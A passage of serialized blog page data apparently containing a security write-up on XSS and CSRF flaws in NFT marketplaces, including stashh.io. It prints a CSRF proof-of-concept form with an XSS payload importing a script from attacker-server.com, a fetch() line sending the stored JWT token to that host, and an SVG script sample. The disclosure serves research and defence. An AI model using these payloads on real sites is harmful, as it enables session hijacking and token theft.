"children":37139},{"style":36332},[37140],{"type":31,"value":9937},{"type":25,"tag":38,"props":37142,"children":37143},{},[37144],{"type":31,"value":37145},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":25,"tag":38,"props":37147,"children":37148},{},[37149],{"type":31,"value":37150},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":25,"tag":38,"props":37152,"children":37153},{},[37154],{"type":31,"value":37155},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":25,"tag":38,"props":37157,"children":37158},{},[37159],{"type":31,"value":37160},"From here, we were able to steal the session cookie from local storage.",{"type":25,"tag":206,"props":37162,"children":37164},{"className":35319,"code":37163,"language":35321,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[37165],{"type":25,"tag":82,"props":37166,"children":37167},{"__ignoreMap":7},[37168,37183,37198,37229,37304,37355,37543,37582,37597,37612,37619,37634,37641,37652,37703,37710,37765,37792,37827,37834,37869,37876,37897,37908,37915,37930],{"type":25,"tag":216,"props":37169,"children":37170},{"class":6916,"line":6917},[37171,37175,37179],{"type":25,"tag":216,"props":37172,"children":37173},{"style":36332},[37174],{"type":31,"value":9751},{"type":25,"tag":216,"props":37176,"children":37177},{"style":6930},[37178],{"type":31,"value":36339},{"type":25,"tag":216,"props":37180,"children":37181},{"style":36332},[37182],{"type":31,"value":9937},{"type":25,"tag":216,"props":37184,"children":37185},{"class":6916,"line":6763},[37186,37190,37194],{"type":25,"tag":216,"props":37187,"children":37188},{"style":36332},[37189],{"type":31,"value":36351},{"type":25,"tag":216,"props":37191,"children":37192},{"style":6930},[37193],{"type":31,"value":36356},{"type":25,"tag":216,"props":37195,"children":37196},{"style":36332},[37197],{"type":31,"value":9937},{"type":25,"tag":216,"props":37199,"children":37200},{"class":6916,"line":6772},[37201,37205,37209,37213,37217,37221,37225],{"type":25,"tag":216,"props":37202,"children":37203},{"style":36332},[37204],{"type":31,"value":36351},{"type":25,"tag":216,"props":37206,"children":37207},{"style":6930},[37208],{"type":31,"value":36372},{"type":25,"tag":216,"props":37210,"children":37211},{"style":36332},[37212],{"type":31,"value":5896},{"type":25,"tag":216,"props":37214,"children":37215},{"style":6958},[37216],{"type":31,"value":36381},{"type":25,"tag":216,"props":37218,"children":37219},{"style":36332},[37220],{"type":31,"value":36386},{"type":25,"tag":216,"props":37222,"children":37223},{"style":6930},[37224],{"type":31,"value":36372},{"type":25,"tag":216,"props":37226,"children":37227},{"style":36332},[37228],{"type":31,"value":9937},{"type":25,"tag":216,"props":37230,"children":37231},{"class":6916,"line":6999},[37232,37236,37240,37244,37248,37252,37256,37260,37264,37268,37272,37276,37280,37284,37288,37292,37296,37300],{"type":25,"tag":216,"props":37233,"children":37234},{"style":36332},[37235],{"type":31,"value":36402},{"type":25,"tag":216,"props":37237,"children":37238},{"style":6930},[37239],{"type":31,"value":36407},{"type":25,"tag":216,"props":37241,"children":37242},{"style":6941},[37243],{"type":31,"value":36412},{"type":25,"tag":216,"props":37245,"children":37246},{"style":6947},[37247],{"type":31,"value":266},{"type":25,"tag":216,"props":37249,"children":37250},{"style":8199},[37251],{"type":31,"value":36421},{"type":25,"tag":216,"props":37253,"children":37254},{"style":6941},[37255],{"type":31,"value":36426},{"type":25,"tag":216,"props":37257,"children":37258},{"style":6947},[37259],{"type":31,"value":266},{"type":25,"tag":216,"props":37261,"children":37262},{"style":8199},[37263],{"type":31,"value":36435},{"type":25,"tag":216,"props":37265,"children":37266},{"style":6941},[37267],{"type":31,"value":21062},{"type":25,"tag":216,"props":37269,"children":37270},{"style":6947},[37271],{"type":31,"value":266},{"type":25,"tag":216,"props":37273,"children":37274},{"style":8199},[37275],{"type":31,"value":36448},{"type":25,"tag":216,"props":37277,"children":37278},{"style":6941},[37279],{"type":31,"value":36453},{"type":25,"tag":216,"props":37281,"children":37282},{"style":6947},[37283],{"type":31,"value":266},{"type":25,"tag":216,"props":37285,"children":37286},{"style":8199},[37287],{"type":31,"value":36462},{"type":25,"tag":216,"props":37289,"children":37290},{"style":6941},[37291],{"type":31,"value":36467},{"type":25,"tag":216,"props":37293,"children":37294},{"style":6947},[37295],{"type":31,"value":266},{"type":25,"tag":216,"props":37297,"children":37298},{"style":8199},[37299],{"type":31,"value":36476},{"type":25,"tag":216,"props":37301,"children":37302},{"style":36332},[37303],{"type":31,"value":9937},{"type":25,"tag":216,"props":37305,"children":37306},{"class":6916,"line":7104},[37307,37311,37315,37319,37323,37327,37331,37335,37339,37343,37347,37351],{"type":25,"tag":216,"props":37308,"children":37309},{"style":36332},[37310],{"type":31,"value":36488},{"type":25,"tag":216,"props":37312,"children":37313},{"style":6930},[37314],{"type":31,"value":12313},{"type":25,"tag":216,"props":37316,"children":37317},{"style":6941},[37318],{"type":31,"value":36497},{"type":25,"tag":216,"props":37320,"children":37321},{"style":6947},[37322],{"type":31,"value":266},{"type":25,"tag":216,"props":37324,"children":37325},{"style":8199},[37326],{"type":31,"value":36506},{"type":25,"tag":216,"props":37328,"children":37329},{"style":6941},[37330],{"type":31,"value":36511},{"type":25,"tag":216,"props":37332,"children":37333},{"style":6947},[37334],{"type":31,"value":266},{"type":25,"tag":216,"props":37336,"children":37337},{"style":8199},[37338],{"type":31,"value":36520},{"type":25,"tag":216,"props":37340,"children":37341},{"style":6941},[37342],{"type":31,"value":36412},{"type":25,"tag":216,"props":37344,"children":37345},{"style":6947},[37346],{"type":31,"value":266},{"type":25,"tag":216,"props":37348,"children":37349},{"style":8199},[37350],{"type":31,"value":36533},{"type":25,"tag":216,"props":37352,"children":37353},{"style":36332},[37354],{"type":31,"value":9937},{"type":25,"tag":216,"props":37356,"children":37357},{"class":6916,"line":7210},[37358,37362,37366,37370,37374,37378,37382,37386,37390,37394,37398,37402,37407,37411,37416,37420,37425,37429,37434,37439,37443,37447,37452,37457,37462,37467,37472,37477,37481,37486,37490,37494,37499,37503,37508,37513,37518,37522,37526,37530,37535,37539],{"type":25,"tag":216,"props":37359,"children":37360},{"style":36332},[37361],{"type":31,"value":36545},{"type":25,"tag":216,"props":37363,"children":37364},{"style":6930},[37365],{"type":31,"value":12313},{"type":25,"tag":216,"props":37367,"children":37368},{"style":6941},[37369],{"type":31,"value":36497},{"type":25,"tag":216,"props":37371,"children":37372},{"style":6947},[37373],{"type":31,"value":266},{"type":25,"tag":216,"props":37375,"children":37376},{"style":8199},[37377],{"type":31,"value":36562},{"type":25,"tag":216,"props":37379,"children":37380},{"style":6941},[37381],{"type":31,"value":36511},{"type":25,"tag":216,"props":37383,"children":37384},{"style":6947},[37385],{"type":31,"value":266},{"type":25,"tag":216,"props":37387,"children":37388},{"style":8199},[37389],{"type":31,"value":36575},{"type":25,"tag":216,"props":37391,"children":37392},{"style":6941},[37393],{"type":31,"value":36467},{"type":25,"tag":216,"props":37395,"children":37396},{"style":6947},[37397],{"type":31,"value":266},{"type":25,"tag":216,"props":37399,"children":37400},{"style":8199},[37401],{"type":31,"value":24014},{"type":25,"tag":216,"props":37403,"children":37404},{"style":6930},[37405],{"type":31,"value":37406},"{"",{"type":25,"tag":216,"props":37408,"children":37409},{"style":8199},[37410],{"type":31,"value":36597},{"type":25,"tag":216,"props":37412,"children":37413},{"style":6930},[37414],{"type":31,"value":37415},"":"<",{"type":25,"tag":216,"props":37417,"children":37418},{"style":8199},[37419],{"type":31,"value":6461},{"type":25,"tag":216,"props":37421,"children":37422},{"style":6930},[37423],{"type":31,"value":37424},"/",{"type":25,"tag":216,"props":37426,"children":37427},{"style":8199},[37428],{"type":31,"value":36626},{"type":25,"tag":216,"props":37430,"children":37431},{"style":6930},[37432],{"type":31,"value":37433},"=",{"type":25,"tag":216,"props":37435,"children":37436},{"style":8199},[37437],{"type":31,"value":37438},"x onerror",{"type":25,"tag":216,"props":37440,"children":37441},{"style":6930},[37442],{"type":31,"value":37433},{"type":25,"tag":216,"props":37444,"children":37445},{"style":8199},[37446],{"type":31,"value":23437},{"type":25,"tag":216,"props":37448,"children":37449},{"style":6930},[37450],{"type":31,"value":37451},"(`",{"type":25,"tag":216,"props":37453,"children":37454},{"style":8199},[37455],{"type":31,"value":37456},"https",{"type":25,"tag":216,"props":37458,"children":37459},{"style":6930},[37460],{"type":31,"value":37461},"://",{"type":25,"tag":216,"props":37463,"children":37464},{"style":8199},[37465],{"type":31,"value":37466},"attacker-server",{"type":25,"tag":216,"props":37468,"children":37469},{"style":6930},[37470],{"type":31,"value":37471},".",{"type":25,"tag":216,"props":37473,"children":37474},{"style":8199},[37475],{"type":31,"value":37476},"com",{"type":25,"tag":216,"props":37478,"children":37479},{"style":6930},[37480],{"type":31,"value":37424},{"type":25,"tag":216,"props":37482,"children":37483},{"style":8199},[37484],{"type":31,"value":37485},"leak",{"type":25,"tag":216,"props":37487,"children":37488},{"style":6930},[37489],{"type":31,"value":37471},{"type":25,"tag":216,"props":37491,"children":37492},{"style":8199},[37493],{"type":31,"value":35321},{"type":25,"tag":216,"props":37495,"children":37496},{"style":6930},[37497],{"type":31,"value":37498},"`)>","",{"type":25,"tag":216,"props":37500,"children":37501},{"style":8199},[37502],{"type":31,"value":36684},{"type":25,"tag":216,"props":37504,"children":37505},{"style":6930},[37506],{"type":31,"value":37507},"":"",{"type":25,"tag":216,"props":37509,"children":37510},{"style":8199},[37511],{"type":31,"value":37512},"profile-assets",{"type":25,"tag":216,"props":37514,"children":37515},{"style":6930},[37516],{"type":31,"value":37517},"","",{"type":25,"tag":216,"props":37519,"children":37520},{"style":8199},[37521],{"type":31,"value":36713},{"type":25,"tag":216,"props":37523,"children":37524},{"style":6930},[37525],{"type":31,"value":37507},{"type":25,"tag":216,"props":37527,"children":37528},{"style":8199},[37529],{"type":31,"value":36722},{"type":25,"tag":216,"props":37531,"children":37532},{"style":6930},[37533],{"type":31,"value":37534},""}",{"type":25,"tag":216,"props":37536,"children":37537},{"style":8199},[37538],{"type":31,"value":24014},{"type":25,"tag":216,"props":37540,"children":37541},{"style":36332},[37542],{"type":31,"value":36736},{"type":25,"tag":216,"props":37544,"children":37545},{"class":6916,"line":7238},[37546,37550,37554,37558,37562,37566,37570,37574,37578],{"type":25,"tag":216,"props":37547,"children":37548},{"style":36332},[37549],{"type":31,"value":36545},{"type":25,"tag":216,"props":37551,"children":37552},{"style":6930},[37553],{"type":31,"value":12313},{"type":25,"tag":216,"props":37555,"children":37556},{"style":6941},[37557],{"type":31,"value":36497},{"type":25,"tag":216,"props":37559,"children":37560},{"style":6947},[37561],{"type":31,"value":266},{"type":25,"tag":216,"props":37563,"children":37564},{"style":8199},[37565],{"type":31,"value":36760},{"type":25,"tag":216,"props":37567,"children":37568},{"style":6941},[37569],{"type":31,"value":36467},{"type":25,"tag":216,"props":37571,"children":37572},{"style":6947},[37573],{"type":31,"value":266},{"type":25,"tag":216,"props":37575,"children":37576},{"style":8199},[37577],{"type":31,"value":36773},{"type":25,"tag":216,"props":37579,"children":37580},{"style":36332},[37581],{"type":31,"value":36736},{"type":25,"tag":216,"props":37583,"children":37584},{"class":6916,"line":7251},[37585,37589,37593],{"type":25,"tag":216,"props":37586,"children":37587},{"style":36332},[37588],{"type":31,"value":36785},{"type":25,"tag":216,"props":37590,"children":37591},{"style":6930},[37592],{"type":31,"value":36407},{"type":25,"tag":216,"props":37594,"children":37595},{"style":36332},[37596],{"type":31,"value":9937},{"type":25,"tag":216,"props":37598,"children":37599},{"class":6916,"line":7269},[37600,37604,37608],{"type":25,"tag":216,"props":37601,"children":37602},{"style":36332},[37603],{"type":31,"value":36801},{"type":25,"tag":216,"props":37605,"children":37606},{"style":6930},[37607],{"type":31,"value":36356},{"type":25,"tag":216,"props":37609,"children":37610},{"style":36332},[37611],{"type":31,"value":9937},{"type":25,"tag":216,"props":37613,"children":37614},{"class":6916,"line":7290},[37615],{"type":25,"tag":216,"props":37616,"children":37617},{"emptyLinePlaceholder":16},[37618],{"type":31,"value":7636},{"type":25,"tag":216,"props":37620,"children":37621},{"class":6916,"line":7299},[37622,37626,37630],{"type":25,"tag":216,"props":37623,"children":37624},{"style":36332},[37625],{"type":31,"value":36351},{"type":25,"tag":216,"props":37627,"children":37628},{"style":6930},[37629],{"type":31,"value":36372},{"type":25,"tag":216,"props":37631,"children":37632},{"style":36332},[37633],{"type":31,"value":9937},{"type":25,"tag":216,"props":37635,"children":37636},{"class":6916,"line":7551},[37637],{"type":25,"tag":216,"props":37638,"children":37639},{"emptyLinePlaceholder":16},[37640],{"type":31,"value":7636},{"type":25,"tag":216,"props":37642,"children":37643},{"class":6916,"line":7568},[37644,37648],{"type":25,"tag":216,"props":37645,"children":37646},{"style":6958},[37647],{"type":31,"value":36846},{"type":25,"tag":216,"props":37649,"children":37650},{"style":6930},[37651],{"type":31,"value":14830},{"type":25,"tag":216,"props":37653,"children":37654},{"class":6916,"line":7585},[37655,37659,37663,37667,37671,37675,37679,37683,37687,37691,37695,37699],{"type":25,"tag":216,"props":37656,"children":37657},{"style":6941},[37658],{"type":31,"value":36858},{"type":25,"tag":216,"props":37660,"children":37661},{"style":6941},[37662],{"type":31,"value":36863},{"type":25,"tag":216,"props":37664,"children":37665},{"style":6947},[37666],{"type":31,"value":4977},{"type":25,"tag":216,"props":37668,"children":37669},{"style":6967},[37670],{"type":31,"value":36872},{"type":25,"tag":216,"props":37672,"children":37673},{"style":6947},[37674],{"type":31,"value":7010},{"type":25,"tag":216,"props":37676,"children":37677},{"style":6967},[37678],{"type":31,"value":36872},{"type":25,"tag":216,"props":37680,"children":37681},{"style":7041},[37682],{"type":31,"value":36885},{"type":25,"tag":216,"props":37684,"children":37685},{"style":6947},[37686],{"type":31,"value":1844},{"type":25,"tag":216,"props":37688,"children":37689},{"style":8199},[37690],{"type":31,"value":36894},{"type":25,"tag":216,"props":37692,"children":37693},{"style":6947},[37694],{"type":31,"value":36899},{"type":25,"tag":216,"props":37696,"children":37697},{"style":7041},[37698],{"type":31,"value":36904},{"type":25,"tag":216,"props":37700,"children":37701},{"style":6947},[37702],{"type":31,"value":11681},{"type":25,"tag":216,"props":37704,"children":37705},{"class":6916,"line":7598},[37706],{"type":25,"tag":216,"props":37707,"children":37708},{"emptyLinePlaceholder":16},[37709],{"type":31,"value":7636},{"type":25,"tag":216,"props":37711,"children":37712},{"class":6916,"line":7607},[37713,37717,37721,37725,37729,37733,37737,37741,37745,37749,37753,37757,37761],{"type":25,"tag":216,"props":37714,"children":37715},{"style":6941},[37716],{"type":31,"value":7005},{"type":25,"tag":216,"props":37718,"children":37719},{"style":6941},[37720],{"type":31,"value":36927},{"type":25,"tag":216,"props":37722,"children":37723},{"style":6947},[37724],{"type":31,"value":4977},{"type":25,"tag":216,"props":37726,"children":37727},{"style":6930},[37728],{"type":31,"value":19074},{"type":25,"tag":216,"props":37730,"children":37731},{"style":7041},[37732],{"type":31,"value":36940},{"type":25,"tag":216,"props":37734,"children":37735},{"style":6947},[37736],{"type":31,"value":36945},{"type":25,"tag":216,"props":37738,"children":37739},{"style":6941},[37740],{"type":31,"value":36904},{"type":25,"tag":216,"props":37742,"children":37743},{"style":6947},[37744],{"type":31,"value":27000},{"type":25,"tag":216,"props":37746,"children":37747},{"style":8199},[37748],{"type":31,"value":36958},{"type":25,"tag":216,"props":37750,"children":37751},{"style":6947},[37752],{"type":31,"value":36963},{"type":25,"tag":216,"props":37754,"children":37755},{"style":6941},[37756],{"type":31,"value":36968},{"type":25,"tag":216,"props":37758,"children":37759},{"style":8199},[37760],{"type":31,"value":36973},{"type":25,"tag":216,"props":37762,"children":37763},{"style":6947},[37764],{"type":31,"value":36978},{"type":25,"tag":216,"props":37766,"children":37767},{"class":6916,"line":7630},[37768,37772,37776,37780,37784,37788],{"type":25,"tag":216,"props":37769,"children":37770},{"style":6941},[37771],{"type":31,"value":36858},{"type":25,"tag":216,"props":37773,"children":37774},{"style":6941},[37775],{"type":31,"value":36990},{"type":25,"tag":216,"props":37777,"children":37778},{"style":6947},[37779],{"type":31,"value":4977},{"type":25,"tag":216,"props":37781,"children":37782},{"style":6930},[37783],{"type":31,"value":19074},{"type":25,"tag":216,"props":37785,"children":37786},{"style":7041},[37787],{"type":31,"value":37003},{"type":25,"tag":216,"props":37789,"children":37790},{"style":6947},[37791],{"type":31,"value":7627},{"type":25,"tag":216,"props":37793,"children":37794},{"class":6916,"line":7639},[37795,37799,37803,37807,37811,37815,37819,37823],{"type":25,"tag":216,"props":37796,"children":37797},{"style":6941},[37798],{"type":31,"value":37015},{"type":25,"tag":216,"props":37800,"children":37801},{"style":6947},[37802],{"type":31,"value":179},{"type":25,"tag":216,"props":37804,"children":37805},{"style":6941},[37806],{"type":31,"value":37024},{"type":25,"tag":216,"props":37808,"children":37809},{"style":6947},[37810],{"type":31,"value":179},{"type":25,"tag":216,"props":37812,"children":37813},{"style":7041},[37814],{"type":31,"value":13588},{"type":25,"tag":216,"props":37816,"children":37817},{"style":6947},[37818],{"type":31,"value":1844},{"type":25,"tag":216,"props":37820,"children":37821},{"style":6941},[37822],{"type":31,"value":37041},{"type":25,"tag":216,"props":37824,"children":37825},{"style":6947},[37826],{"type":31,"value":7791},{"type":25,"tag":216,"props":37828,"children":37829},{"class":6916,"line":7648},[37830],{"type":25,"tag":216,"props":37831,"children":37832},{"emptyLinePlaceholder":16},[37833],{"type":31,"value":7636},{"type":25,"tag":216,"props":37835,"children":37836},{"class":6916,"line":7716},[37837,37841,37845,37849,37853,37857,37861,37865],{"type":25,"tag":216,"props":37838,"children":37839},{"style":6941},[37840],{"type":31,"value":37060},{"type":25,"tag":216,"props":37842,"children":37843},{"style":6947},[37844],{"type":31,"value":179},{"type":25,"tag":216,"props":37846,"children":37847},{"style":6941},[37848],{"type":31,"value":37069},{"type":25,"tag":216,"props":37850,"children":37851},{"style":6947},[37852],{"type":31,"value":4977},{"type":25,"tag":216,"props":37854,"children":37855},{"style":6941},[37856],{"type":31,"value":37078},{"type":25,"tag":216,"props":37858,"children":37859},{"style":6947},[37860],{"type":31,"value":179},{"type":25,"tag":216,"props":37862,"children":37863},{"style":6941},[37864],{"type":31,"value":37069},{"type":25,"tag":216,"props":37866,"children":37867},{"style":6947},[37868],{"type":31,"value":6961},{"type":25,"tag":216,"props":37870,"children":37871},{"class":6916,"line":7724},[37872],{"type":25,"tag":216,"props":37873,"children":37874},{"emptyLinePlaceholder":16},[37875],{"type":31,"value":7636},{"type":25,"tag":216,"props":37877,"children":37878},{"class":6916,"line":7754},[37879,37884,37888,37893],{"type":25,"tag":216,"props":37880,"children":37881},{"style":6941},[37882],{"type":31,"value":37883},"        form123",{"type":25,"tag":216,"props":37885,"children":37886},{"style":6947},[37887],{"type":31,"value":179},{"type":25,"tag":216,"props":37889,"children":37890},{"style":7041},[37891],{"type":31,"value":37892},"submit",{"type":25,"tag":216,"props":37894,"children":37895},{"style":6947},[37896],{"type":31,"value":11681},{"type":25,"tag":216,"props":37898,"children":37899},{"class":6916,"line":7762},[37900,37904],{"type":25,"tag":216,"props":37901,"children":37902},{"style":6930},[37903],{"type":31,"value":37098},{"type":25,"tag":216,"props":37905,"children":37906},{"style":6958},[37907],{"type":31,"value":37103},{"type":25,"tag":216,"props":37909,"children":37910},{"class":6916,"line":7794},[37911],{"type":25,"tag":216,"props":37912,"children":37913},{"emptyLinePlaceholder":16},[37914],{"type":31,"value":7636},{"type":25,"tag":216,"props":37916,"children":37917},{"class":6916,"line":7802},[37918,37922,37926],{"type":25,"tag":216,"props":37919,"children":37920},{"style":36332},[37921],{"type":31,"value":36801},{"type":25,"tag":216,"props":37923,"children":37924},{"style":6930},[37925],{"type":31,"value":36372},{"type":25,"tag":216,"props":37927,"children":37928},{"style":36332},[37929],{"type":31,"value":9937},{"type":25,"tag":216,"props":37931,"children":37932},{"class":6916,"line":7862},[37933,37937,37941],{"type":25,"tag":216,"props":37934,"children":37935},{"style":36332},[37936],{"type":31,"value":36386},{"type":25,"tag":216,"props":37938,"children":37939},{"style":6930},[37940],{"type":31,"value":36339},{"type":25,"tag":216,"props":37942,"children":37943},{"style":36332},[37944],{"type":31,"value":9937},{"type":25,"tag":38,"props":37946,"children":37947},{},[37948],{"type":31,"value":37949},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":25,"tag":206,"props":37951,"children":37955},{"className":37952,"code":37953,"language":37954,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[37956],{"type":25,"tag":82,"props":37957,"children":37958},{"__ignoreMap":7},[37959,37966,37987,38008,38025],{"type":25,"tag":216,"props":37960,"children":37961},{"class":6916,"line":6917},[37962],{"type":25,"tag":216,"props":37963,"children":37964},{"style":6958},[37965],{"type":31,"value":14830},{"type":25,"tag":216,"props":37967,"children":37968},{"class":6916,"line":6763},[37969,37974,37978,37983],{"type":25,"tag":216,"props":37970,"children":37971},{"style":6941},[37972],{"type":31,"value":37973},"  \"address\"",{"type":25,"tag":216,"props":37975,"children":37976},{"style":6958},[37977],{"type":31,"value":19282},{"type":25,"tag":216,"props":37979,"children":37980},{"style":8199},[37981],{"type":31,"value":37982},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":25,"tag":216,"props":37984,"children":37985},{"style":6958},[37986],{"type":31,"value":7459},{"type":25,"tag":216,"props":37988,"children":37989},{"class":6916,"line":6772},[37990,37995,37999,38004],{"type":25,"tag":216,"props":37991,"children":37992},{"style":6941},[37993],{"type":31,"value":37994},"  \"to\"",{"type":25,"tag":216,"props":37996,"children":37997},{"style":6958},[37998],{"type":31,"value":19282},{"type":25,"tag":216,"props":38000,"children":38001},{"style":8199},[38002],{"type":31,"value":38003},"\"profile-assets\"",{"type":25,"tag":216,"props":38005,"children":38006},{"style":6958},[38007],{"type":31,"value":7459},{"type":25,"tag":216,"props":38009,"children":38010},{"class":6916,"line":6999},[38011,38016,38020],{"type":25,"tag":216,"props":38012,"children":38013},{"style":6941},[38014],{"type":31,"value":38015},"  \"type\"",{"type":25,"tag":216,"props":38017,"children":38018},{"style":6958},[38019],{"type":31,"value":19282},{"type":25,"tag":216,"props":38021,"children":38022},{"style":8199},[38023],{"type":31,"value":38024},"\"icon\"\n",{"type":25,"tag":216,"props":38026,"children":38027},{"class":6916,"line":7104},[38028],{"type":25,"tag":216,"props":38029,"children":38030},{"style":6958},[38031],{"type":31,"value":7868},{"type":25,"tag":38,"props":38033,"children":38034},{},[38035],{"type":31,"value":38036},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":25,"tag":206,"props":38038,"children":38040},{"className":35319,"code":38039,"language":35321,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[38041],{"type":25,"tag":82,"props":38042,"children":38043},{"__ignoreMap":7},[38044],{"type":25,"tag":216,"props":38045,"children":38046},{"class":6916,"line":6917},[38047,38052,38056,38061,38066,38071,38075,38080,38084,38089,38093,38098,38102],{"type":25,"tag":216,"props":38048,"children":38049},{"style":7041},[38050],{"type":31,"value":38051},"fetch",{"type":25,"tag":216,"props":38053,"children":38054},{"style":6958},[38055],{"type":31,"value":1844},{"type":25,"tag":216,"props":38057,"children":38058},{"style":8199},[38059],{"type":31,"value":38060},"`https://attacker-server.com/?token_leak=",{"type":25,"tag":216,"props":38062,"children":38063},{"style":6930},[38064],{"type":31,"value":38065},"${",{"type":25,"tag":216,"props":38067,"children":38068},{"style":6941},[38069],{"type":31,"value":38070},"localStorage",{"type":25,"tag":216,"props":38072,"children":38073},{"style":6947},[38074],{"type":31,"value":179},{"type":25,"tag":216,"props":38076,"children":38077},{"style":7041},[38078],{"type":31,"value":38079},"getItem",{"type":25,"tag":216,"props":38081,"children":38082},{"style":6947},[38083],{"type":31,"value":1844},{"type":25,"tag":216,"props":38085,"children":38086},{"style":8199},[38087],{"type":31,"value":38088},"'token'",{"type":25,"tag":216,"props":38090,"children":38091},{"style":6947},[38092],{"type":31,"value":1882},{"type":25,"tag":216,"props":38094,"children":38095},{"style":6930},[38096],{"type":31,"value":38097},"}",{"type":25,"tag":216,"props":38099,"children":38100},{"style":8199},[38101],{"type":31,"value":14333},{"type":25,"tag":216,"props":38103,"children":38104},{"style":6958},[38105],{"type":31,"value":7791},{"type":25,"tag":607,"props":38107,"children":38109},{"id":38108},"svgs",[38110],{"type":31,"value":38111},"SVGs",{"type":25,"tag":38,"props":38113,"children":38114},{},[38115],{"type":31,"value":38116},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":25,"tag":38,"props":38118,"children":38119},{},[38120],{"type":31,"value":38121},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":25,"tag":206,"props":38123,"children":38125},{"className":35319,"code":38124,"language":35321,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[38126],{"type":25,"tag":82,"props":38127,"children":38128},{"__ignoreMap":7},[38129,38175,38212,38219,38249,38281,38309,38317,38333],{"type":25,"tag":216,"props":38130,"children":38131},{"class":6916,"line":6917},[38132,38137,38142,38147,38151,38156,38161,38165,38170],{"type":25,"tag":216,"props":38133,"children":38134},{"style":6947},[38135],{"type":31,"value":38136},"\u003C?",{"type":25,"tag":216,"props":38138,"children":38139},{"style":6941},[38140],{"type":31,"value":38141},"xml",{"type":25,"tag":216,"props":38143,"children":38144},{"style":6941},[38145],{"type":31,"value":38146}," version",{"type":25,"tag":216,"props":38148,"children":38149},{"style":6947},[38150],{"type":31,"value":266},{"type":25,"tag":216,"props":38152,"children":38153},{"style":8199},[38154],{"type":31,"value":38155},"\"1.0\"",{"type":25,"tag":216,"props":38157,"children":38158},{"style":6941},[38159],{"type":31,"value":38160}," encoding",{"type":25,"tag":216,"props":38162,"children":38163},{"style":6947},[38164],{"type":31,"value":266},{"type":25,"tag":216,"props":38166,"children":38167},{"style":8199},[38168],{"type":31,"value":38169},"\"UTF-8\"",{"type":25,"tag":216,"props":38171,"children":38172},{"style":6947},[38173],{"type":31,"value":38174},"?>\n",{"type":25,"tag":216,"props":38176,"children":38177},{"class":6916,"line":6763},[38178,38183,38188,38193,38198,38203,38208],{"type":25,"tag":216,"props":38179,"children":38180},{"style":6947},[38181],{"type":31,"value":38182},"\u003C!",{"type":25,"tag":216,"props":38184,"children":38185},{"style":6941},[38186],{"type":31,"value":38187},"DOCTYPE",{"type":25,"tag":216,"props":38189,"children":38190},{"style":6941},[38191],{"type":31,"value":38192}," svg",{"type":25,"tag":216,"props":38194,"children":38195},{"style":6941},[38196],{"type":31,"value":38197}," PUBLIC",{"type":25,"tag":216,"props":38199,"children":38200},{"style":8199},[38201],{"type":31,"value":38202}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":25,"tag":216,"props":38204,"children":38205},{"style":8199},[38206],{"type":31,"value":38207}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":25,"tag":216,"props":38209,"children":38210},{"style":6947},[38211],{"type":31,"value":9937},{"type":25,"tag":216,"props":38213,"children":38214},{"class":6916,"line":6772},[38215],{"type":25,"tag":216,"props":38216,"children":38217},{"emptyLinePlaceholder":16},[38218],{"type":31,"value":7636},{"type":25,"tag":216,"props":38220,"children":38221},{"class":6916,"line":6999},[38222,38226,38231,38236,38240,38245],{"type":25,"tag":216,"props":38223,"children":38224},{"style":36332},[38225],{"type":31,"value":12666},{"type":25,"tag":216,"props":38227,"children":38228},{"style":6930},[38229],{"type":31,"value":38230},"svg",{"type":25,"tag":216,"props":38232,"children":38233},{"style":6941},[38234],{"type":31,"value":38235}," 